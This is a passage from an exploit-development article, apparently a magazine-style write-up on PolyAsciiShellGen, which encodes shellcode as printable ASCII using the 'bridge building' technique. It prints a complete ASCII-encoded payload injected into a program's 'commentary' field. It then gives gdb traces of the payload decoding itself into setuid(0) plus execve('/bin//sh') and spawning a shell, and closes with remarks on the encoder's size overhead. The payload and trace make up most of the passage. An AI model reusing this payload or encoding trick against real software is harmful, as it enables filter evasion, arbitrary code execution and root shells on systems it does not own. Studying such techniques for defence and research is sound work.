yellow build the original shellcode.
         
         
[+] Book registered.
reference: AAAA�
commentary: TX-ZZZZ-xZZZ-jLKKP\%RRRR%%%%%-KJJJ-5%%%P-ooUU-oU%6-OB47P-vvvV-vvvJ-8%8%-L%3%P-%sss-%Hss-7-4rP-PPPv-PMPv-OcemP-rrrr-BBrB-nKTKP-hO%h-h%%h-P34SP-Muhe-4zz%P-5222-%_22-%v7JP-YYYY-YYYY-NVMDP
Temporary breakpoint 4, 0xffffdc24 in ?? ()
=> 0xffffdc24:  push   esp
   0xffffdc25:  pop    eax
   0xffffdc26:  sub    eax,0x5a5a5a5a
   0xffffdc2b:  sub    eax,0x5a5a5a78
   0xffffdc30:  sub    eax,0x4b4b4c6a
   0xffffdc35:  push   eax
   0xffffdc36:  pop    esp
   0xffffdc37:  and    eax,0x52525252
   0xffffdc3c:  and    eax,0x25252525
   0xffffdc41:  sub    eax,0x4a4a4a4b
   0xffffdc46:  sub    eax,0x25252535
   0xffffdc4b:  push   eax
   0xffffdc4c:  sub    eax,0x55556f6f
   0xffffdc51:  sub    eax,0x3625556f
   0xffffdc56:  sub    eax,0x3734424f
   0xffffdc5b:  push   eax
   0xffffdc5c:  sub    eax,0x56767676
   0xffffdc61:  sub    eax,0x4a767676
   0xffffdc66:  sub    eax,0x25382538
   0xffffdc6b:  sub    eax,0x2533254c
   0xffffdc70:  push   eax
   0xffffdc71:  sub    eax,0x73737325
   0xffffdc76:  sub    eax,0x73734825
   0xffffdc7b:  sub    eax,0x72342d37
   0xffffdc80:  push   eax
   0xffffdc81:  sub    eax,0x76505050
   0xffffdc86:  sub    eax,0x76504d50
   0xffffdc8b:  sub    eax,0x6d65634f
   0xffffdc90:  push   eax
   0xffffdc91:  sub    eax,0x72727272
   0xffffdc96:  sub    eax,0x42724242
   0xffffdc9b:  sub    eax,0x4b544b6e
   0xffffdca0:  push   eax
   0xffffdca1:  sub    eax,0x68254f68
   0xffffdca6:  sub    eax,0x68252568
   0xffffdcab:  sub    eax,0x53343350
   0xffffdcb0:  push   eax
   0xffffdcb1:  sub    eax,0x6568754d
   0xffffdcb6:  sub    eax,0x257a7a34
   0xffffdcbb:  push   eax
   0xffffdcbc:  sub    eax,0x32323235
   0xffffdcc1:  sub    eax,0x32325f25
   0xffffdcc6:  sub    eax,0x4a377625
   0xffffdccb:  push   eax
   0xffffdccc:  sub    eax,0x59595959
   0xffffdcd1:  sub    eax,0x59595959
   0xffffdcd6:  sub    eax,0x444d564e
   0xffffdcdb:  push   eax
esp            0xffffde40       0xffffde40
         
          Then, the demo breaks in the middle execution of the ASCII shellcode. The
following gdb output is displayed and shows in pink, the shellcode building
as a bridge to join the code of the ASCII shellcode. The EIP register is
growing up and the ESP register is growing down.
         
         
Temporary breakpoint 5, 0xffffdc91 in ?? ()
=> 0xffffdc91:  sub    eax,0x72727272
   0xffffdc96:  sub    eax,0x42724242
   0xffffdc9b:  sub    eax,0x4b544b6e
   0xffffdca0:  push   eax
   0xffffdca1:  sub    eax,0x68254f68
   0xffffdca6:  sub    eax,0x68252568
   0xffffdcab:  sub    eax,0x53343350
   0xffffdcb0:  push   eax
   0xffffdcb1:  sub    eax,0x6568754d
   0xffffdcb6:  sub    eax,0x257a7a34
   0xffffdcbb:  push   eax
   0xffffdcbc:  sub    eax,0x32323235
   0xffffdcc1:  sub    eax,0x32325f25
   0xffffdcc6:  sub    eax,0x4a377625
   0xffffdccb:  push   eax
   0xffffdccc:  sub    eax,0x59595959
   0xffffdcd1:  sub    eax,0x59595959
   0xffffdcd6:  sub    eax,0x444d564e
   0xffffdcdb:  push   eax
   0xffffdcdc:  or     al,BYTE PTR [eax]
   0xffffdcde:  add    BYTE PTR [eax],al
   0xffffdce0:  add    BYTE PTR [eax],al
   0xffffdce2:  add    BYTE PTR [eax],al
   0xffffdce4:  add    BYTE PTR [eax],al
   0xffffdce6:  add    BYTE PTR [eax],al
   0xffffdce8:  add    BYTE PTR [eax],al
   0xffffdcea:  add    BYTE PTR [eax],al
   0xffffdcec:  add    BYTE PTR [eax],al
   0xffffdcee:  add    BYTE PTR [eax],al
   0xffffdcf0:  jae    0xffffdd5a
   0xffffdcf2:  push   0x6e69622f
   0xffffdcf7:  mov    ebx,esp
   0xffffdcf9:  push   ecx
   0xffffdcfa:  mov    edx,esp
   0xffffdcfc:  push   ebx
   0xffffdcfd:  mov    ecx,esp
   0xffffdcff:  int    0x80
   0xffffdd01:  nop
   0xffffdd02:  nop
   0xffffdd03:  nop
esp            0xffffdcf0       0xffffdcf0
         
          Then, the demo breaks at the first bytes of the decoded
shellcode, the ESP and the EIP register are crossing at the
same address and the shellcode will be executed.
         
         
Temporary breakpoint 6, 0xffffdcdc in ?? ()
=> 0xffffdcdc:  xor    eax,eax
   0xffffdcde:  xor    ebx,ebx
   0xffffdce0:  xor    ecx,ecx
   0xffffdce2:  xor    edx,edx
   0xffffdce4:  mov    al,0xd0
   0xffffdce6:  int    0x80
   0xffffdce8:  xor    eax,eax
   0xffffdcea:  mov    al,0xb
   0xffffdcec:  push   ecx
   0xffffdced:  push   0x68732f2f
   0xffffdcf2:  push   0x6e69622f
   0xffffdcf7:  mov    ebx,esp
   0xffffdcf9:  push   ecx
   0xffffdcfa:  mov    edx,esp
   0xffffdcfc:  push   ebx
   0xffffdcfd:  mov    ecx,esp
   0xffffdcff:  int    0x80
   0xffffdd01:  nop
   0xffffdd02:  nop
   0xffffdd03:  nop
eip            0xffffdcdc       0xffffdcdc
esp            0xffffdcdc       0xffffdcdc
process 28699 is executing new program: /usr/bin/bash
warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need "set solib-search-path" or "set sysroot"?
[Inferior 1 (process 28699) exited normally]
         
          5 - conclusion
         
         
         
          The ASCII shellcode generation algorithm implements by PolyAsciiShellGen is not
very efficient, as show in the debugging session for each group of 4 bytes
from the original shellcode, 15 or 10 bytes are generated to decode the
original shellcode. So if the shellcode to encode is very large in size the
resulting ASCII shellcode will be very big, this is more or less a factor 3.
If the target buffer where to store the payload is large it is not problem
but when it is small this type of ASCII shellcode can't be used. The solution to
circumvent this constraint is to implement a decoder loop with ASCII opcodes and
encode the original shellcode with the reverse algorithm. There are many
implementations of this idea which implement
          
           base16, base64 or a derivate decoder
loop [5]
          
          in full ASCII machine code. The result is much more elegant than the
          
           Caezar
          
          ASCII shellcodes. But, the technique shows here was the first
publicly documented and the technique of the
          
           bridge building
          
          is FUN and
original.
         
         
          6 - Links